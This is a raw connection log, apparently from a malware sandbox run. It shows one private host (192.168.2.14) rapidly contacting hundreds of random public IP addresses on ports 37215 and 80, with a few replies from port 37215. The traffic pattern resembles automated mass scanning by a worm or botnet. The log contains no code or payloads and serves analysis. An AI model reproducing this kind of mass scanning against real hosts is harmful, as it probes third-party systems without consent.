Oct 14, 2024 17:30:07.883594036 CEST	53786	37215	192.168.2.14	197.16.134.220
Oct 14, 2024 17:30:07.883598089 CEST	53786	37215	192.168.2.14	197.30.95.118
Oct 14, 2024 17:30:07.883598089 CEST	53786	37215	192.168.2.14	197.204.171.78
Oct 14, 2024 17:30:07.883631945 CEST	53786	37215	192.168.2.14	156.37.102.15
Oct 14, 2024 17:30:07.883631945 CEST	53786	37215	192.168.2.14	41.188.197.125
Oct 14, 2024 17:30:07.883631945 CEST	53786	37215	192.168.2.14	197.254.94.131
Oct 14, 2024 17:30:07.883651972 CEST	53786	37215	192.168.2.14	197.185.140.186
Oct 14, 2024 17:30:07.883651972 CEST	53786	37215	192.168.2.14	156.57.85.78
Oct 14, 2024 17:30:07.886564016 CEST	53274	80	192.168.2.14	129.233.219.5
Oct 14, 2024 17:30:07.886564016 CEST	53274	80	192.168.2.14	88.246.24.167
Oct 14, 2024 17:30:07.886569977 CEST	53274	80	192.168.2.14	87.9.35.28
Oct 14, 2024 17:30:07.886575937 CEST	53274	80	192.168.2.14	152.187.65.126
Oct 14, 2024 17:30:07.886578083 CEST	53274	80	192.168.2.14	65.76.159.190
Oct 14, 2024 17:30:07.886579037 CEST	53274	80	192.168.2.14	18.95.245.242
Oct 14, 2024 17:30:07.886580944 CEST	53274	80	192.168.2.14	75.245.31.216
Oct 14, 2024 17:30:07.886580944 CEST	53274	80	192.168.2.14	164.37.27.83
Oct 14, 2024 17:30:07.886583090 CEST	53274	80	192.168.2.14	71.162.20.29
Oct 14, 2024 17:30:07.886584997 CEST	53274	80	192.168.2.14	160.50.62.126
Oct 14, 2024 17:30:07.886584044 CEST	53274	80	192.168.2.14	73.62.92.98
Oct 14, 2024 17:30:07.886588097 CEST	53274	80	192.168.2.14	126.8.239.147
Oct 14, 2024 17:30:07.886591911 CEST	53274	80	192.168.2.14	53.136.84.36
Oct 14, 2024 17:30:07.886607885 CEST	53274	80	192.168.2.14	212.200.7.79
Oct 14, 2024 17:30:07.886620998 CEST	53274	80	192.168.2.14	43.226.239.228
Oct 14, 2024 17:30:07.886620998 CEST	53274	80	192.168.2.14	1.129.121.53
Oct 14, 2024 17:30:07.886620998 CEST	53274	80	192.168.2.14	48.39.9.28
Oct 14, 2024 17:30:07.886620998 CEST	53274	80	192.168.2.14	164.150.192.236
Oct 14, 2024 17:30:07.886635065 CEST	53274	80	192.168.2.14	141.146.106.120
Oct 14, 2024 17:30:07.886641026 CEST	53274	80	192.168.2.14	115.52.142.253
Oct 14, 2024 17:30:07.886651993 CEST	53274	80	192.168.2.14	160.68.13.122
Oct 14, 2024 17:30:07.886662960 CEST	53274	80	192.168.2.14	193.215.11.87
Oct 14, 2024 17:30:07.886671066 CEST	53274	80	192.168.2.14	153.155.205.11
Oct 14, 2024 17:30:07.886671066 CEST	53274	80	192.168.2.14	32.175.162.73
Oct 14, 2024 17:30:07.886671066 CEST	53274	80	192.168.2.14	198.77.249.179
Oct 14, 2024 17:30:07.886671066 CEST	53274	80	192.168.2.14	193.137.225.127
Oct 14, 2024 17:30:07.886671066 CEST	53274	80	192.168.2.14	35.65.52.172
Oct 14, 2024 17:30:07.886678934 CEST	53274	80	192.168.2.14	134.25.195.47
Oct 14, 2024 17:30:07.886678934 CEST	53274	80	192.168.2.14	210.5.83.38
Oct 14, 2024 17:30:07.886687994 CEST	53274	80	192.168.2.14	167.254.44.233
Oct 14, 2024 17:30:07.886694908 CEST	53274	80	192.168.2.14	54.8.200.111
Oct 14, 2024 17:30:07.886703968 CEST	53274	80	192.168.2.14	45.150.47.224
Oct 14, 2024 17:30:07.886703968 CEST	53274	80	192.168.2.14	141.114.49.80
Oct 14, 2024 17:30:07.886735916 CEST	53274	80	192.168.2.14	87.80.196.102
Oct 14, 2024 17:30:07.886734962 CEST	53274	80	192.168.2.14	79.128.164.233
Oct 14, 2024 17:30:07.886735916 CEST	53274	80	192.168.2.14	9.175.26.116
Oct 14, 2024 17:30:07.886734962 CEST	53274	80	192.168.2.14	8.235.41.181
Oct 14, 2024 17:30:07.886742115 CEST	53274	80	192.168.2.14	89.172.38.105
Oct 14, 2024 17:30:07.886748075 CEST	53274	80	192.168.2.14	212.115.197.137
Oct 14, 2024 17:30:07.886763096 CEST	53274	80	192.168.2.14	169.137.221.119
Oct 14, 2024 17:30:07.886763096 CEST	53274	80	192.168.2.14	94.56.169.213
Oct 14, 2024 17:30:07.886764050 CEST	53274	80	192.168.2.14	186.1.55.206
Oct 14, 2024 17:30:07.886770010 CEST	53274	80	192.168.2.14	195.126.222.246
Oct 14, 2024 17:30:07.886770010 CEST	53274	80	192.168.2.14	54.251.199.152
Oct 14, 2024 17:30:07.886786938 CEST	53274	80	192.168.2.14	48.57.64.250
Oct 14, 2024 17:30:07.886801958 CEST	53274	80	192.168.2.14	178.179.90.239
Oct 14, 2024 17:30:07.886801958 CEST	53274	80	192.168.2.14	131.109.15.203
Oct 14, 2024 17:30:07.886804104 CEST	53274	80	192.168.2.14	155.53.224.110
Oct 14, 2024 17:30:07.886804104 CEST	53274	80	192.168.2.14	135.194.132.36
Oct 14, 2024 17:30:07.886815071 CEST	53274	80	192.168.2.14	211.215.135.161
Oct 14, 2024 17:30:07.886818886 CEST	53274	80	192.168.2.14	66.72.103.185
Oct 14, 2024 17:30:07.886818886 CEST	53274	80	192.168.2.14	161.56.95.52
Oct 14, 2024 17:30:07.886818886 CEST	53274	80	192.168.2.14	200.174.13.7
Oct 14, 2024 17:30:07.886825085 CEST	53274	80	192.168.2.14	205.2.210.54
Oct 14, 2024 17:30:07.886832952 CEST	53274	80	192.168.2.14	87.250.144.92
Oct 14, 2024 17:30:07.886837006 CEST	53274	80	192.168.2.14	125.150.48.194
Oct 14, 2024 17:30:07.886841059 CEST	53274	80	192.168.2.14	188.1.104.245
Oct 14, 2024 17:30:07.886841059 CEST	53274	80	192.168.2.14	38.114.178.245
Oct 14, 2024 17:30:07.886842966 CEST	53274	80	192.168.2.14	72.110.121.211
Oct 14, 2024 17:30:07.886842966 CEST	53274	80	192.168.2.14	144.78.40.222
Oct 14, 2024 17:30:07.886856079 CEST	53274	80	192.168.2.14	134.239.155.250
Oct 14, 2024 17:30:07.886856079 CEST	53274	80	192.168.2.14	9.119.103.72
Oct 14, 2024 17:30:07.886857033 CEST	53274	80	192.168.2.14	171.148.250.186
Oct 14, 2024 17:30:07.886857033 CEST	53274	80	192.168.2.14	94.158.66.135
Oct 14, 2024 17:30:07.886857033 CEST	53274	80	192.168.2.14	216.248.94.223
Oct 14, 2024 17:30:07.886857033 CEST	53274	80	192.168.2.14	24.154.37.187
Oct 14, 2024 17:30:07.886866093 CEST	53274	80	192.168.2.14	105.164.138.62
Oct 14, 2024 17:30:07.886866093 CEST	53274	80	192.168.2.14	59.63.100.249
Oct 14, 2024 17:30:07.886867046 CEST	53274	80	192.168.2.14	136.180.134.177
Oct 14, 2024 17:30:07.886871099 CEST	53274	80	192.168.2.14	68.42.95.22
Oct 14, 2024 17:30:07.886872053 CEST	53274	80	192.168.2.14	143.94.226.162
Oct 14, 2024 17:30:07.886876106 CEST	53274	80	192.168.2.14	223.10.152.173
Oct 14, 2024 17:30:07.886876106 CEST	53274	80	192.168.2.14	187.163.245.34
Oct 14, 2024 17:30:07.886876106 CEST	53274	80	192.168.2.14	52.217.97.59
Oct 14, 2024 17:30:07.886878967 CEST	53274	80	192.168.2.14	43.8.110.51
Oct 14, 2024 17:30:07.886897087 CEST	53274	80	192.168.2.14	203.173.98.96
Oct 14, 2024 17:30:07.886898994 CEST	53274	80	192.168.2.14	39.168.229.187
Oct 14, 2024 17:30:07.886900902 CEST	53274	80	192.168.2.14	148.32.101.126
Oct 14, 2024 17:30:07.886909962 CEST	53274	80	192.168.2.14	5.232.196.160
Oct 14, 2024 17:30:07.886917114 CEST	53274	80	192.168.2.14	94.228.45.64
Oct 14, 2024 17:30:07.886917114 CEST	53274	80	192.168.2.14	106.235.93.29
Oct 14, 2024 17:30:07.886919975 CEST	53274	80	192.168.2.14	217.83.214.93
Oct 14, 2024 17:30:07.886934996 CEST	53274	80	192.168.2.14	85.133.230.49
Oct 14, 2024 17:30:07.886949062 CEST	53274	80	192.168.2.14	125.105.186.201
Oct 14, 2024 17:30:07.886950016 CEST	53274	80	192.168.2.14	17.35.137.82
Oct 14, 2024 17:30:07.886965036 CEST	53274	80	192.168.2.14	184.175.247.239
Oct 14, 2024 17:30:07.886965036 CEST	53274	80	192.168.2.14	9.241.207.22
Oct 14, 2024 17:30:07.886966944 CEST	53274	80	192.168.2.14	172.157.101.131
Oct 14, 2024 17:30:07.886966944 CEST	53274	80	192.168.2.14	48.182.8.92
Oct 14, 2024 17:30:07.886971951 CEST	53274	80	192.168.2.14	95.85.37.130
Oct 14, 2024 17:30:07.886982918 CEST	53274	80	192.168.2.14	151.129.4.195
Oct 14, 2024 17:30:07.886991024 CEST	53274	80	192.168.2.14	98.248.90.222
Oct 14, 2024 17:30:07.886991024 CEST	53274	80	192.168.2.14	145.62.114.88
Oct 14, 2024 17:30:07.886991024 CEST	53274	80	192.168.2.14	216.130.57.207
Oct 14, 2024 17:30:07.887010098 CEST	53274	80	192.168.2.14	47.133.247.69
Oct 14, 2024 17:30:07.887010098 CEST	53274	80	192.168.2.14	76.95.114.150
Oct 14, 2024 17:30:07.887018919 CEST	53274	80	192.168.2.14	148.222.138.59
Oct 14, 2024 17:30:07.887018919 CEST	53274	80	192.168.2.14	111.187.21.207
Oct 14, 2024 17:30:07.887020111 CEST	53274	80	192.168.2.14	192.199.11.147
Oct 14, 2024 17:30:07.887023926 CEST	53274	80	192.168.2.14	211.39.72.102
Oct 14, 2024 17:30:07.887023926 CEST	53274	80	192.168.2.14	118.131.13.240
Oct 14, 2024 17:30:07.887033939 CEST	53274	80	192.168.2.14	147.197.190.207
Oct 14, 2024 17:30:07.887039900 CEST	53274	80	192.168.2.14	117.18.182.82
Oct 14, 2024 17:30:07.887054920 CEST	53274	80	192.168.2.14	94.214.20.159
Oct 14, 2024 17:30:07.887054920 CEST	53274	80	192.168.2.14	192.77.0.88
Oct 14, 2024 17:30:07.887056112 CEST	53274	80	192.168.2.14	196.121.63.242
Oct 14, 2024 17:30:07.887057066 CEST	53274	80	192.168.2.14	4.13.217.67
Oct 14, 2024 17:30:07.887058973 CEST	53274	80	192.168.2.14	104.52.70.134
Oct 14, 2024 17:30:07.887079000 CEST	53274	80	192.168.2.14	196.66.99.195
Oct 14, 2024 17:30:07.887079000 CEST	53274	80	192.168.2.14	101.144.216.125
Oct 14, 2024 17:30:07.887080908 CEST	53274	80	192.168.2.14	208.188.52.156
Oct 14, 2024 17:30:07.887084007 CEST	53274	80	192.168.2.14	20.25.251.27
Oct 14, 2024 17:30:07.887104988 CEST	53274	80	192.168.2.14	167.106.191.113
Oct 14, 2024 17:30:07.887108088 CEST	53274	80	192.168.2.14	89.171.3.249
Oct 14, 2024 17:30:07.887115955 CEST	53274	80	192.168.2.14	148.152.14.11
Oct 14, 2024 17:30:07.887130976 CEST	53274	80	192.168.2.14	161.168.160.18
Oct 14, 2024 17:30:07.887130976 CEST	53274	80	192.168.2.14	165.243.123.119
Oct 14, 2024 17:30:07.887131929 CEST	53274	80	192.168.2.14	181.35.178.196
Oct 14, 2024 17:30:07.887135029 CEST	53274	80	192.168.2.14	211.156.56.242
Oct 14, 2024 17:30:07.887135029 CEST	53274	80	192.168.2.14	38.44.95.25
Oct 14, 2024 17:30:07.887144089 CEST	53274	80	192.168.2.14	68.72.131.91
Oct 14, 2024 17:30:07.887144089 CEST	53274	80	192.168.2.14	124.114.66.22
Oct 14, 2024 17:30:07.887151003 CEST	53274	80	192.168.2.14	190.245.75.199
Oct 14, 2024 17:30:07.887161016 CEST	53274	80	192.168.2.14	124.128.170.254
Oct 14, 2024 17:30:07.887180090 CEST	53274	80	192.168.2.14	146.229.210.240
Oct 14, 2024 17:30:07.887183905 CEST	53274	80	192.168.2.14	166.74.230.102
Oct 14, 2024 17:30:07.887193918 CEST	53274	80	192.168.2.14	191.239.146.143
Oct 14, 2024 17:30:07.887193918 CEST	53274	80	192.168.2.14	217.70.168.117
Oct 14, 2024 17:30:07.887197018 CEST	53274	80	192.168.2.14	117.179.67.210
Oct 14, 2024 17:30:07.887197018 CEST	53274	80	192.168.2.14	97.68.112.222
Oct 14, 2024 17:30:07.887200117 CEST	53274	80	192.168.2.14	188.186.99.214
Oct 14, 2024 17:30:07.887200117 CEST	53274	80	192.168.2.14	88.162.146.180
Oct 14, 2024 17:30:07.887213945 CEST	53274	80	192.168.2.14	103.107.254.197
Oct 14, 2024 17:30:07.887228966 CEST	53274	80	192.168.2.14	38.250.71.175
Oct 14, 2024 17:30:07.887236118 CEST	53274	80	192.168.2.14	163.228.128.82
Oct 14, 2024 17:30:07.887242079 CEST	53274	80	192.168.2.14	200.107.213.175
Oct 14, 2024 17:30:07.887244940 CEST	53274	80	192.168.2.14	5.202.228.205
Oct 14, 2024 17:30:07.887250900 CEST	53274	80	192.168.2.14	25.72.41.186
Oct 14, 2024 17:30:07.887250900 CEST	53274	80	192.168.2.14	61.114.35.146
Oct 14, 2024 17:30:07.887250900 CEST	53274	80	192.168.2.14	171.67.42.161
Oct 14, 2024 17:30:07.887252092 CEST	53274	80	192.168.2.14	197.177.98.158
Oct 14, 2024 17:30:07.887258053 CEST	53274	80	192.168.2.14	24.161.38.102
Oct 14, 2024 17:30:07.887262106 CEST	53274	80	192.168.2.14	32.12.63.177
Oct 14, 2024 17:30:07.887276888 CEST	53274	80	192.168.2.14	46.102.75.160
Oct 14, 2024 17:30:07.887276888 CEST	53274	80	192.168.2.14	151.72.241.156
Oct 14, 2024 17:30:07.887286901 CEST	53274	80	192.168.2.14	53.175.88.200
Oct 14, 2024 17:30:07.887288094 CEST	53274	80	192.168.2.14	144.211.223.37
Oct 14, 2024 17:30:07.887288094 CEST	53274	80	192.168.2.14	48.85.32.149
Oct 14, 2024 17:30:07.887300014 CEST	53274	80	192.168.2.14	189.31.216.79
Oct 14, 2024 17:30:07.887300014 CEST	53274	80	192.168.2.14	203.234.160.56
Oct 14, 2024 17:30:07.887305021 CEST	53274	80	192.168.2.14	93.40.49.35
Oct 14, 2024 17:30:07.887320995 CEST	53274	80	192.168.2.14	31.244.136.93
Oct 14, 2024 17:30:07.887320995 CEST	53274	80	192.168.2.14	17.104.57.249
Oct 14, 2024 17:30:07.887336016 CEST	53274	80	192.168.2.14	12.183.93.229
Oct 14, 2024 17:30:07.887336016 CEST	53274	80	192.168.2.14	75.2.100.164
Oct 14, 2024 17:30:07.887355089 CEST	53274	80	192.168.2.14	81.217.44.255
Oct 14, 2024 17:30:07.887355089 CEST	53274	80	192.168.2.14	119.149.166.131
Oct 14, 2024 17:30:07.887361050 CEST	53274	80	192.168.2.14	1.40.199.109
Oct 14, 2024 17:30:07.887367010 CEST	53274	80	192.168.2.14	112.97.15.25
Oct 14, 2024 17:30:07.887367010 CEST	53274	80	192.168.2.14	86.131.126.9
Oct 14, 2024 17:30:07.887387991 CEST	53274	80	192.168.2.14	199.10.110.92
Oct 14, 2024 17:30:07.887391090 CEST	53274	80	192.168.2.14	137.193.49.223
Oct 14, 2024 17:30:07.887401104 CEST	53274	80	192.168.2.14	83.194.114.143
Oct 14, 2024 17:30:07.887402058 CEST	53274	80	192.168.2.14	199.210.231.72
Oct 14, 2024 17:30:07.887403965 CEST	53274	80	192.168.2.14	220.58.120.43
Oct 14, 2024 17:30:07.887413979 CEST	53274	80	192.168.2.14	43.117.162.108
Oct 14, 2024 17:30:07.887414932 CEST	53274	80	192.168.2.14	112.70.38.21
Oct 14, 2024 17:30:07.887417078 CEST	53274	80	192.168.2.14	213.45.165.19
Oct 14, 2024 17:30:07.887420893 CEST	53274	80	192.168.2.14	163.79.255.197
Oct 14, 2024 17:30:07.887432098 CEST	53274	80	192.168.2.14	182.172.215.95
Oct 14, 2024 17:30:07.887437105 CEST	53274	80	192.168.2.14	210.132.20.208
Oct 14, 2024 17:30:07.887437105 CEST	53274	80	192.168.2.14	162.81.56.23
Oct 14, 2024 17:30:07.887448072 CEST	53274	80	192.168.2.14	133.81.180.22
Oct 14, 2024 17:30:07.887449026 CEST	53274	80	192.168.2.14	71.231.23.134
Oct 14, 2024 17:30:07.887468100 CEST	53274	80	192.168.2.14	106.251.39.196
Oct 14, 2024 17:30:07.887471914 CEST	53274	80	192.168.2.14	148.190.47.24
Oct 14, 2024 17:30:07.887475014 CEST	53274	80	192.168.2.14	35.150.85.31
Oct 14, 2024 17:30:07.887475014 CEST	53274	80	192.168.2.14	57.37.40.11
Oct 14, 2024 17:30:07.887490988 CEST	53274	80	192.168.2.14	38.198.241.137
Oct 14, 2024 17:30:07.887495995 CEST	53274	80	192.168.2.14	63.10.51.254
Oct 14, 2024 17:30:07.887497902 CEST	53274	80	192.168.2.14	103.224.29.76
Oct 14, 2024 17:30:07.887497902 CEST	53274	80	192.168.2.14	81.106.173.101
Oct 14, 2024 17:30:07.887507915 CEST	53274	80	192.168.2.14	36.122.235.124
Oct 14, 2024 17:30:07.887510061 CEST	53274	80	192.168.2.14	72.134.145.56
Oct 14, 2024 17:30:07.887515068 CEST	53274	80	192.168.2.14	179.196.155.66
Oct 14, 2024 17:30:07.887526989 CEST	53274	80	192.168.2.14	124.48.193.90
Oct 14, 2024 17:30:07.887526989 CEST	53274	80	192.168.2.14	53.34.18.204
Oct 14, 2024 17:30:07.887531042 CEST	53274	80	192.168.2.14	217.130.120.223
Oct 14, 2024 17:30:07.887531042 CEST	53274	80	192.168.2.14	185.157.118.134
Oct 14, 2024 17:30:07.887542009 CEST	53274	80	192.168.2.14	135.6.161.89
Oct 14, 2024 17:30:07.887548923 CEST	53274	80	192.168.2.14	102.159.192.240
Oct 14, 2024 17:30:07.887550116 CEST	53274	80	192.168.2.14	83.153.147.87
Oct 14, 2024 17:30:07.887564898 CEST	53274	80	192.168.2.14	167.244.97.66
Oct 14, 2024 17:30:07.887564898 CEST	53274	80	192.168.2.14	175.188.220.245
Oct 14, 2024 17:30:07.887566090 CEST	53274	80	192.168.2.14	205.39.1.62
Oct 14, 2024 17:30:07.887569904 CEST	53274	80	192.168.2.14	149.148.13.118
Oct 14, 2024 17:30:07.887592077 CEST	53274	80	192.168.2.14	32.204.53.215
Oct 14, 2024 17:30:07.887592077 CEST	53274	80	192.168.2.14	147.25.116.202
Oct 14, 2024 17:30:07.887607098 CEST	53274	80	192.168.2.14	12.90.213.143
Oct 14, 2024 17:30:07.887607098 CEST	53274	80	192.168.2.14	182.207.113.15
Oct 14, 2024 17:30:07.887609959 CEST	53274	80	192.168.2.14	110.42.252.43
Oct 14, 2024 17:30:07.887613058 CEST	53274	80	192.168.2.14	133.208.226.35
Oct 14, 2024 17:30:07.887613058 CEST	53274	80	192.168.2.14	183.147.243.85
Oct 14, 2024 17:30:07.887629032 CEST	53274	80	192.168.2.14	180.76.74.201
Oct 14, 2024 17:30:07.887636900 CEST	53274	80	192.168.2.14	106.187.138.44
Oct 14, 2024 17:30:07.887638092 CEST	53274	80	192.168.2.14	140.95.120.208
Oct 14, 2024 17:30:07.887638092 CEST	53274	80	192.168.2.14	62.194.173.34
Oct 14, 2024 17:30:07.887650967 CEST	53274	80	192.168.2.14	163.97.220.178
Oct 14, 2024 17:30:07.887650967 CEST	53274	80	192.168.2.14	209.102.45.153
Oct 14, 2024 17:30:07.887654066 CEST	53274	80	192.168.2.14	105.37.251.122
Oct 14, 2024 17:30:07.887655020 CEST	53274	80	192.168.2.14	105.126.46.31
Oct 14, 2024 17:30:07.887655973 CEST	53274	80	192.168.2.14	172.238.181.35
Oct 14, 2024 17:30:07.887665033 CEST	53274	80	192.168.2.14	98.52.189.40
Oct 14, 2024 17:30:07.887676954 CEST	53274	80	192.168.2.14	130.187.66.101
Oct 14, 2024 17:30:07.887677908 CEST	53274	80	192.168.2.14	95.9.15.160
Oct 14, 2024 17:30:07.887685061 CEST	53274	80	192.168.2.14	210.204.189.139
Oct 14, 2024 17:30:07.887686014 CEST	53274	80	192.168.2.14	158.33.124.22
Oct 14, 2024 17:30:07.887686014 CEST	53274	80	192.168.2.14	73.7.154.134
Oct 14, 2024 17:30:07.887689114 CEST	53274	80	192.168.2.14	167.104.187.209
Oct 14, 2024 17:30:07.887690067 CEST	53274	80	192.168.2.14	78.212.89.179
Oct 14, 2024 17:30:07.887697935 CEST	53274	80	192.168.2.14	130.243.147.96
Oct 14, 2024 17:30:07.887697935 CEST	53274	80	192.168.2.14	82.124.233.178
Oct 14, 2024 17:30:07.887710094 CEST	53274	80	192.168.2.14	90.15.82.214
Oct 14, 2024 17:30:07.887710094 CEST	53274	80	192.168.2.14	131.52.147.184
Oct 14, 2024 17:30:07.887710094 CEST	53274	80	192.168.2.14	213.93.124.12
Oct 14, 2024 17:30:07.887732029 CEST	53274	80	192.168.2.14	165.191.171.141
Oct 14, 2024 17:30:07.887732029 CEST	53274	80	192.168.2.14	161.2.59.97
Oct 14, 2024 17:30:07.887747049 CEST	53274	80	192.168.2.14	36.57.147.135
Oct 14, 2024 17:30:07.887754917 CEST	53274	80	192.168.2.14	159.231.124.89
Oct 14, 2024 17:30:07.887758017 CEST	53274	80	192.168.2.14	53.118.3.190
Oct 14, 2024 17:30:07.887758017 CEST	53274	80	192.168.2.14	19.165.162.84
Oct 14, 2024 17:30:07.887758017 CEST	53274	80	192.168.2.14	178.80.222.206
Oct 14, 2024 17:30:07.887763977 CEST	53274	80	192.168.2.14	222.187.81.190
Oct 14, 2024 17:30:07.887763977 CEST	53274	80	192.168.2.14	46.170.144.130
Oct 14, 2024 17:30:07.887769938 CEST	53274	80	192.168.2.14	40.180.151.208
Oct 14, 2024 17:30:07.887778044 CEST	53274	80	192.168.2.14	219.188.149.127
Oct 14, 2024 17:30:07.887778044 CEST	53274	80	192.168.2.14	175.34.133.95
Oct 14, 2024 17:30:07.887783051 CEST	53274	80	192.168.2.14	71.233.189.68
Oct 14, 2024 17:30:07.887789965 CEST	53274	80	192.168.2.14	42.30.86.63
Oct 14, 2024 17:30:07.887808084 CEST	53274	80	192.168.2.14	40.132.107.242
Oct 14, 2024 17:30:07.887808084 CEST	53274	80	192.168.2.14	123.212.241.55
Oct 14, 2024 17:30:07.887814045 CEST	53274	80	192.168.2.14	184.220.21.246
Oct 14, 2024 17:30:07.887814045 CEST	53274	80	192.168.2.14	134.146.76.0
Oct 14, 2024 17:30:07.887818098 CEST	53274	80	192.168.2.14	157.132.204.193
Oct 14, 2024 17:30:07.887818098 CEST	53274	80	192.168.2.14	129.171.113.222
Oct 14, 2024 17:30:07.887835979 CEST	53274	80	192.168.2.14	84.106.245.78
Oct 14, 2024 17:30:07.887839079 CEST	53274	80	192.168.2.14	117.89.62.89
Oct 14, 2024 17:30:07.887846947 CEST	53274	80	192.168.2.14	159.66.162.186
Oct 14, 2024 17:30:07.887846947 CEST	53274	80	192.168.2.14	195.187.253.115
Oct 14, 2024 17:30:07.887847900 CEST	53274	80	192.168.2.14	106.7.188.212
Oct 14, 2024 17:30:07.887864113 CEST	53274	80	192.168.2.14	205.34.69.143
Oct 14, 2024 17:30:07.887865067 CEST	53274	80	192.168.2.14	106.167.30.215
Oct 14, 2024 17:30:07.887866020 CEST	53274	80	192.168.2.14	202.104.195.165
Oct 14, 2024 17:30:07.887893915 CEST	53274	80	192.168.2.14	65.2.4.31
Oct 14, 2024 17:30:07.887903929 CEST	53274	80	192.168.2.14	167.82.168.71
Oct 14, 2024 17:30:07.887903929 CEST	53274	80	192.168.2.14	41.95.80.58
Oct 14, 2024 17:30:07.887911081 CEST	53274	80	192.168.2.14	138.185.17.48
Oct 14, 2024 17:30:07.887923956 CEST	53274	80	192.168.2.14	1.36.184.15
Oct 14, 2024 17:30:07.887926102 CEST	53274	80	192.168.2.14	79.253.60.180
Oct 14, 2024 17:30:07.887926102 CEST	53274	80	192.168.2.14	65.148.120.211
Oct 14, 2024 17:30:07.887927055 CEST	53274	80	192.168.2.14	209.146.235.105
Oct 14, 2024 17:30:07.887928009 CEST	53274	80	192.168.2.14	165.98.99.70
Oct 14, 2024 17:30:07.887928009 CEST	53274	80	192.168.2.14	195.68.62.115
Oct 14, 2024 17:30:07.887939930 CEST	53274	80	192.168.2.14	47.154.141.8
Oct 14, 2024 17:30:07.887940884 CEST	53274	80	192.168.2.14	95.252.172.12
Oct 14, 2024 17:30:07.887945890 CEST	53274	80	192.168.2.14	183.112.211.71
Oct 14, 2024 17:30:07.887954950 CEST	53274	80	192.168.2.14	211.88.40.67
Oct 14, 2024 17:30:07.887965918 CEST	53274	80	192.168.2.14	94.136.46.223
Oct 14, 2024 17:30:07.887970924 CEST	53274	80	192.168.2.14	186.56.214.144
Oct 14, 2024 17:30:07.887975931 CEST	53274	80	192.168.2.14	104.48.65.119
Oct 14, 2024 17:30:07.887975931 CEST	53274	80	192.168.2.14	42.176.112.185
Oct 14, 2024 17:30:07.888001919 CEST	53274	80	192.168.2.14	61.172.81.177
Oct 14, 2024 17:30:07.888005972 CEST	53274	80	192.168.2.14	137.241.33.42
Oct 14, 2024 17:30:07.888005972 CEST	53274	80	192.168.2.14	180.74.246.104
Oct 14, 2024 17:30:07.888006926 CEST	53274	80	192.168.2.14	177.6.120.15
Oct 14, 2024 17:30:07.888015985 CEST	53274	80	192.168.2.14	23.65.108.60
Oct 14, 2024 17:30:07.888026953 CEST	53274	80	192.168.2.14	34.233.108.119
Oct 14, 2024 17:30:07.888031006 CEST	53274	80	192.168.2.14	18.164.157.6
Oct 14, 2024 17:30:07.888031006 CEST	53274	80	192.168.2.14	220.205.197.96
Oct 14, 2024 17:30:07.888031960 CEST	53274	80	192.168.2.14	130.215.109.89
Oct 14, 2024 17:30:07.888031006 CEST	53274	80	192.168.2.14	134.205.154.138
Oct 14, 2024 17:30:07.888031960 CEST	53274	80	192.168.2.14	88.41.125.139
Oct 14, 2024 17:30:07.888040066 CEST	53274	80	192.168.2.14	25.180.178.10
Oct 14, 2024 17:30:07.888060093 CEST	53274	80	192.168.2.14	35.124.19.200
Oct 14, 2024 17:30:07.888060093 CEST	53274	80	192.168.2.14	196.49.116.197
Oct 14, 2024 17:30:07.888071060 CEST	53274	80	192.168.2.14	110.106.251.180
Oct 14, 2024 17:30:07.888071060 CEST	53274	80	192.168.2.14	99.223.62.110
Oct 14, 2024 17:30:07.888088942 CEST	53274	80	192.168.2.14	100.5.63.8
Oct 14, 2024 17:30:07.888071060 CEST	53274	80	192.168.2.14	109.67.162.39
Oct 14, 2024 17:30:07.888091087 CEST	53274	80	192.168.2.14	198.66.175.5
Oct 14, 2024 17:30:07.888096094 CEST	53274	80	192.168.2.14	41.229.43.120
Oct 14, 2024 17:30:07.888103008 CEST	53274	80	192.168.2.14	89.83.61.89
Oct 14, 2024 17:30:07.888109922 CEST	53274	80	192.168.2.14	100.146.92.11
Oct 14, 2024 17:30:07.888111115 CEST	53274	80	192.168.2.14	108.73.74.74
Oct 14, 2024 17:30:07.888115883 CEST	53274	80	192.168.2.14	207.120.129.87
Oct 14, 2024 17:30:07.888115883 CEST	53274	80	192.168.2.14	187.43.99.54
Oct 14, 2024 17:30:07.888125896 CEST	53274	80	192.168.2.14	156.58.113.1
Oct 14, 2024 17:30:07.888125896 CEST	53274	80	192.168.2.14	125.223.187.64
Oct 14, 2024 17:30:07.888130903 CEST	53274	80	192.168.2.14	92.200.31.145
Oct 14, 2024 17:30:07.888130903 CEST	53274	80	192.168.2.14	31.12.213.198
Oct 14, 2024 17:30:07.888148069 CEST	53274	80	192.168.2.14	103.55.96.103
Oct 14, 2024 17:30:07.888154030 CEST	53274	80	192.168.2.14	77.53.172.155
Oct 14, 2024 17:30:07.888164997 CEST	53274	80	192.168.2.14	38.118.201.66
Oct 14, 2024 17:30:07.888164997 CEST	53274	80	192.168.2.14	217.41.92.246
Oct 14, 2024 17:30:07.888170004 CEST	53274	80	192.168.2.14	212.141.207.202
Oct 14, 2024 17:30:07.888170004 CEST	53274	80	192.168.2.14	209.216.37.92
Oct 14, 2024 17:30:07.888178110 CEST	53274	80	192.168.2.14	198.164.122.24
Oct 14, 2024 17:30:07.888195038 CEST	53274	80	192.168.2.14	31.218.85.231
Oct 14, 2024 17:30:07.888195038 CEST	53274	80	192.168.2.14	189.195.153.214
Oct 14, 2024 17:30:07.888197899 CEST	53274	80	192.168.2.14	126.252.1.41
Oct 14, 2024 17:30:07.888205051 CEST	53274	80	192.168.2.14	93.220.32.250
Oct 14, 2024 17:30:07.888220072 CEST	53274	80	192.168.2.14	95.76.171.185
Oct 14, 2024 17:30:07.888222933 CEST	53274	80	192.168.2.14	199.196.125.69
Oct 14, 2024 17:30:07.888222933 CEST	53274	80	192.168.2.14	180.84.191.78
Oct 14, 2024 17:30:07.888225079 CEST	53274	80	192.168.2.14	158.189.193.184
Oct 14, 2024 17:30:07.888235092 CEST	53274	80	192.168.2.14	144.85.108.254
Oct 14, 2024 17:30:07.888237953 CEST	53274	80	192.168.2.14	183.239.127.136
Oct 14, 2024 17:30:07.888246059 CEST	53274	80	192.168.2.14	143.136.205.166
Oct 14, 2024 17:30:07.888262987 CEST	53274	80	192.168.2.14	153.84.29.211
Oct 14, 2024 17:30:07.888277054 CEST	53274	80	192.168.2.14	67.149.141.211
Oct 14, 2024 17:30:07.888550043 CEST	37215	53786	156.98.87.206	192.168.2.14
Oct 14, 2024 17:30:07.888573885 CEST	37215	53786	156.116.241.186	192.168.2.14
Oct 14, 2024 17:30:07.888587952 CEST	37215	53786	197.207.149.21	192.168.2.14
Oct 14, 2024 17:30:07.888617039 CEST	37215	53786	41.100.104.48	192.168.2.14
Oct 14, 2024 17:30:07.888619900 CEST	53786	37215	192.168.2.14	156.98.87.206
